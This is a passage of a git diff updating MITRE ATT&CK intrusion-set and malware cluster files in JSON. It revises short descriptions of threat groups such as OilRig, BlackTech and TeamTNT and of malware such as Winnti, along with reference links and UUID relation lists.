infrastructure, and targeting that aligns with nation-state interests.(Citation: Palo Alto OilRig April 2017)(Citation: ClearSky OilRig Jan 2017)(Citation: Palo Alto OilRig May 2016)(Citation: Palo Alto OilRig Oct 2016)(Citation: Unit 42 Playbook Dec 2017)(Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018)", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of sectors, including financial, government, energy, chemical, and telecommunications. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018)", "meta": { "external_id": "G0049", "refs": [ @@ -27175,29 +25251,18 @@ "value": "DarkHydrus - G0079" }, { - "description": "[BlackTech](https://attack.mitre.org/groups/G0098) is a suspected Chinese cyber espionage group that has primarily targeted organizations in East Asia--particularly Taiwan, Japan, and Hong Kong--and the US since at least 2013. [BlackTech](https://attack.mitre.org/groups/G0098) has used a combination of custom malware, dual-use tools, and living off the land tactics to compromise media, construction, engineering, electronics, and financial company networks.(Citation: TrendMicro BlackTech June 2017)(Citation: Symantec Palmerworm Sep 2020)(Citation: Reuters Taiwan BlackTech August 2020)", + "description": "[BlackTech](https://attack.mitre.org/groups/G0098) is a cyber espionage group operating against targets in East Asia, particularly Taiwan, and occasionally, Japan and Hong Kong.(Citation: TrendMicro BlackTech June 2017)", "meta": { "external_id": "G0098", "refs": [ "https://attack.mitre.org/groups/G0098", - "https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/palmerworm-blacktech-espionage-apt", - "https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape", - "https://www.reuters.com/article/us-taiwan-cyber-china/taiwan-says-china-behind-cyberattacks-on-government-agencies-emails-idUSKCN25F0JK" + "https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/" ], "synonyms": [ - "BlackTech", - "Palmerworm" + "BlackTech" ] }, "related": [ - { - "dest-uuid": "19401639-28d0-4c3c-adcc-bc2ba22f6421", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ @@ -27212,13 +25277,6 @@ ], "type": "uses" }, - { - "dest-uuid": "2db31dcd-54da-405d-acef-b9129b816ed6", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ @@ -27226,13 +25284,6 @@ ], "type": "uses" }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ @@ -27240,13 +25291,6 @@ ], "type": "uses" }, - { - "dest-uuid": "592260fb-dd5c-4a30-8d99-106a0485be0d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "76ac7989-c5cc-42e2-93e3-d6c476f01ace", "tags": [ @@ -27261,13 +25305,6 @@ ], "type": "uses" }, - { - "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "b2d134a1-7bd5-4293-94d4-8fc978cb1cd7", "tags": [ @@ -27289,13 +25326,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "tags": [ @@ -27303,13 +25333,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e7cbc1de-1f79-48ee-abfd-da1241c65a15", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", "tags": [ @@ -27323,13 +25346,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "6fe8a2a1-a1b0-4af8-953d-4babd329f8f8", @@ -27345,12 +25361,6 @@ "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/" - ], - "synonyms": [ - "UNC2452", - "NOBELIUM", - "StellarParticle", - "Dark Halo" ] }, "related": [ @@ -28256,6 +26266,20 @@ ], "type": "uses" }, + { + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", "tags": [ @@ -28271,7 +26295,14 @@ "type": "uses" }, { - "dest-uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", + "dest-uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8197f026-64da-4700-93b9-b55ba55f3b31", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -28299,7 +26330,7 @@ "type": "uses" }, { - "dest-uuid": "b1c95426-2550-4621-8028-ceebf28b3a47", + "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -28319,20 +26350,6 @@ ], "type": "uses" }, - { - "dest-uuid": "bb4387ab-7a51-468b-bf5f-a9a8612f0303", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ @@ -28340,6 +26357,13 @@ ], "type": "uses" }, + { + "dest-uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "cf28ca46-1fd3-46b4-b1f6-ec0b72361848", "tags": [ @@ -28368,6 +26392,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ @@ -28382,13 +26413,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -28411,14 +26435,21 @@ "type": "uses" }, { - "dest-uuid": "e422b6fa-4739-46b9-992e-82f1b350c780", + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ed2c05a1-4f81-4d97-9e1b-aff01c34ae84", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -28437,13 +26468,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "fcb11f06-ce0e-490b-bcc1-04a1623579f0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "afec6dc3-a18e-4b62-b1a4-5510e1a498d1", @@ -28922,22 +26946,6 @@ "uuid": "8c1f0187-0826-4320-bddc-5f326cfcfe2c", "value": "Chimera - G0114" }, - { - "description": "[Gelsemium](https://attack.mitre.org/groups/G0141) is a cyberespionage group that has been active since at least 2014, targeting governmental institutions, electronics manufacturers, universities, and religious organizations in East Asia and the Middle East.(Citation: ESET Gelsemium June 2021)", - "meta": { - "external_id": "G0141", - "refs": [ - "https://attack.mitre.org/groups/G0141", - "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf" - ], - "synonyms": [ - "Gelsemium" - ] - }, - "related": [], - "uuid": "99910207-1741-4da1-9b5d-537410186b51", - "value": "Gelsemium - G0141" - }, { "description": "[CostaRicto](https://attack.mitre.org/groups/G0132) is a suspected hacker-for-hire cyber espionage campaign that has targeted multiple industries worldwide since at least 2019. [CostaRicto](https://attack.mitre.org/groups/G0132)'s targets, a large portion of which are financial institutions, are scattered across Europe, the Americas, Asia, Australia, and Africa, with a large concentration in South Asia.(Citation: BlackBerry CostaRicto November 2020)", "meta": { @@ -29032,165 +27040,6 @@ "uuid": "bb82e0b0-6e9c-439f-970a-4c917a74c5f2", "value": "CostaRicto - G0132" }, - { - "description": "[Confucius](https://attack.mitre.org/groups/G0142) is a cyber espionage group that has primarily targeted military personnel, high-profile personalities, business persons, and government organizations in South Asia since at least 2013. Security researchers have noted similarities between [Confucius](https://attack.mitre.org/groups/G0142) and [Patchwork](https://attack.mitre.org/groups/G0040), particularly in their respective custom malware code and targets.(Citation: TrendMicro Confucius APT Feb 2018)(Citation: TrendMicro Confucius APT Aug 2021)(Citation: Uptycs Confucius APT Jan 2021)", - "meta": { - "external_id": "G0142", - "refs": [ - " https://www.uptycs.com/blog/confucius-apt-deploys-warzone-rat", - "https://attack.mitre.org/groups/G0142", - "https://www.trendmicro.com/en_us/research/18/b/deciphering-confucius-cyberespionage-operations.html", - "https://www.trendmicro.com/en_us/research/21/h/confucius-uses-pegasus-spyware-related-lures-to-target-pakistani.html" - ], - "synonyms": [ - "Confucius APT" - ] - }, - "related": [ - { - "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "30208d3e-0d6b-43c8-883e-44462a514619", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "88d31120-5bc7-4ce3-a9c0-7cf147be8e54", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "bf1b6176-597c-4600-bfcd-ac989670f96b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "dc31fe1e-d722-49da-8f5f-92c7b5aff534", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "fde19a18-e502-467f-be14-58c71b4e7f4b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "6eded342-33e5-4451-b6b2-e1c62863129f", - "value": "Confucius - G0142" - }, { "description": "The [Windigo](https://attack.mitre.org/groups/G0124) group has been operating since at least 2011, compromising thousands of Linux and Unix servers using the [Ebury](https://attack.mitre.org/software/S0377) SSH backdoor to create a spam botnet. Despite law enforcement intervention against the creators, [Windigo](https://attack.mitre.org/groups/G0124) operators continued updating [Ebury](https://attack.mitre.org/software/S0377) through 2019.(Citation: ESET Windigo Mar 2014)(Citation: CERN Windigo June 2019)", "meta": { @@ -29308,13 +27157,6 @@ ], "type": "uses" }, - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "56f46b17-8cfa-46c0-b501-dd52fef394e2", "tags": [ @@ -29399,6 +27241,13 @@ ], "type": "uses" }, + { + "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "bf1b6176-597c-4600-bfcd-ac989670f96b", "tags": [ @@ -30236,7 +28085,7 @@ "value": "Andariel - G0138" }, { - "description": "[TeamTNT](https://attack.mitre.org/groups/G0139) is a threat group that has primarily targeted cloud and containerized environments. The group as been active since at least October 2019 and has mainly focused its efforts on leveraging cloud and container resources to deploy cryptocurrency miners in victim environments.(Citation: Palo Alto Black-T October 2020)(Citation: Lacework TeamTNT May 2021)(Citation: Intezer TeamTNT September 2020)(Citation: Cado Security TeamTNT Worm August 2020)(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro TeamTNT)(Citation: ATT TeamTNT Chimaera September 2020)(Citation: Aqua TeamTNT August 2020)(Citation: Intezer TeamTNT Explosion September 2021)", + "description": "[TeamTNT](https://attack.mitre.org/groups/G0139) is a threat group that has primarily targeted cloud and containerized environments. The group as been active since at least October 2019 and has mainly focused its efforts on leveraging cloud and container resources to deploy cryptocurrency miners in victim environments. (Citation: Palo Alto Black-T October 2020)(Citation: Lacework TeamTNT May 2021)(Citation: Intezer TeamTNT September 2020)(Citation: Cado Security TeamTNT Worm August 2020)(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro TeamTNT)(Citation: ATT TeamTNT Chimaera September 2020)(Citation: Aqua TeamTNT August 2020)(Citation: Intezer TeamTNT Explosion September 2021)", "meta": { "external_id": "G0139", "refs": [ @@ -30431,13 +28280,6 @@ ], "type": "uses" }, - { - "dest-uuid": "79dd477a-8226-4b3d-ad15-28623675f221", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "7b50a1d3-4ca7-45d1-989d-a6503f04bfe1", "tags": [ @@ -30597,5 +28439,5 @@ "value": "TeamTNT - G0139" } ], - "version": 27 + "version": 28 } diff --git a/clusters/mitre-malware.json b/clusters/mitre-malware.json index 69d7ed7..22376a7 100644 --- a/clusters/mitre-malware.json +++ b/clusters/mitre-malware.json @@ -51,9 +51,15 @@ "description": "[X-Agent for Android](https://attack.mitre.org/software/S0314) is Android malware that was placed in a repackaged version of a Ukrainian artillery targeting application. The malware reportedly retrieved general location data on where the victim device was used, and therefore could likely indicate the potential location of Ukrainian artillery. (Citation: CrowdStrike-Android) Is it tracked separately from the [CHOPSTICK](https://attack.mitre.org/software/S0023).", "meta": { "external_id": "S0314", + "mitre_platforms": [ + "Android" + ], "refs": [ "https://attack.mitre.org/software/S0314", "https://www.crowdstrike.com/wp-content/brochures/FancyBearTracksUkrainianArtillery.pdf" + ], + "synonyms": [ + "X-Agent for Android" ] }, "related": [ @@ -84,6 +90,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "56660521-6db4-4e5a-a927-464f22954b7c", @@ -113,21 +126,28 @@ "type": "uses" }, { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -140,6 +160,20 @@ ], "type": "uses" }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "82f04b1e-5371-4a6f-be06-411f0f43b483", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "948a447c-d783-4ba0-8516-a64140fcacd5", "tags": [ @@ -148,14 +182,7 @@ "type": "uses" }, { - "dest-uuid": "986f80f7-ff0e-4f48-87bd-0394814bbce5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "9c049d7b-c92a-4733-9381-27e2bd2ccadc", + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -169,7 +196,7 @@ "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "c6a146ae-9c63-4606-97ff-e261e76e8380", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -183,7 +210,7 @@ "type": "uses" }, { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -390,7 +417,21 @@ }, "related": [ { - "dest-uuid": "32063d7f-0a39-440d-a4a3-2694488f96cc", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -409,20 +450,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "fcb11f06-ce0e-490b-bcc1-04a1623579f0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "29944858-da52-4d3d-b428-f8a6eb8dde6f", "value": "XLoader for iOS - S0490" }, { - "description": "[Winnti for Windows](https://attack.mitre.org/software/S0141) is a modular remote access Trojan (RAT) that has been used likely by multiple groups to carry out intrusions in various regions since at least 2010, including by one group referred to as the same name, [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: Kaspersky Winnti April 2013)(Citation: Microsoft Winnti Jan 2017)(Citation: Novetta Winnti April 2015)(Citation: 401 TRG Winnti Umbrella May 2018). The Linux variant is tracked separately under [Winnti for Linux](https://attack.mitre.org/software/S0430).(Citation: Chronicle Winnti for Linux May 2019)", + "description": "[Winnti for Windows](https://attack.mitre.org/software/S0141) is a Trojan that has been used by multiple groups to carry out intrusions in varied regions from at least 2010 to 2016. One of the groups using this malware is referred to by the same name, [Winnti Group](https://attack.mitre.org/groups/G0044); however, reporting indicates a second distinct group, [Axiom](https://attack.mitre.org/groups/G0001), also uses the malware. (Citation: Kaspersky Winnti April 2013) (Citation: Microsoft Winnti Jan 2017) (Citation: Novetta Winnti April 2015) The Linux variant is tracked separately under [Winnti for Linux](https://attack.mitre.org/software/S0430).(Citation: Chronicle Winnti for Linux May 2019)", "meta": { "external_id": "S0141", "mitre_platforms": [ @@ -430,7 +464,6 @@ ], "refs": [ "http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf", - "https://401trg.github.io/pages/burning-umbrella.html", "https://attack.mitre.org/software/S0141", "https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/", "https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a", @@ -448,13 +481,6 @@ ], "type": "uses" }, - { - "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ @@ -462,13 +488,6 @@ ], "type": "uses" }, - { - "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ @@ -476,48 +495,6 @@ ], "type": "uses" }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "69b8fd78-40e8-4600-ae4d-662c9d7afdb3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "7f8166e2-c7f4-4b48-a07b-681b61a8f2c1", "tags": [ @@ -525,82 +502,12 @@ ], "type": "similar" }, - { - "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "9b3a4cff-1c5a-4fd6-b49c-27240b6d622c", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" - }, - { - "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f244b8dd-af6c-4391-a497-fc03627ce995", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f6dacc85-b37d-458e-b58d-74fc4bbf5755", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "d3afa961-a80c-4043-9509-282cdf69ab21", @@ -631,13 +538,6 @@ ], "type": "uses" }, - { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", "tags": [ @@ -646,14 +546,7 @@ "type": "uses" }, { - "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4f14e30b-8b57-4a7b-9093-2c0778ea99cf", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -666,6 +559,13 @@ ], "type": "similar" }, + { + "dest-uuid": "62adb627-f647-498e-b4cc-41499361bacb", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", "tags": [ @@ -680,6 +580,13 @@ ], "type": "uses" }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "9d7c772b-43f1-49cf-bc70-7a7cd2ed34c8", "tags": [ @@ -688,7 +595,21 @@ "type": "similar" }, { - "dest-uuid": "a9fa0d30-a8ff-45bf-922e-7720da0b7922", + "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -709,14 +630,7 @@ "type": "uses" }, { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -743,6 +657,13 @@ ] }, "related": [ + { + 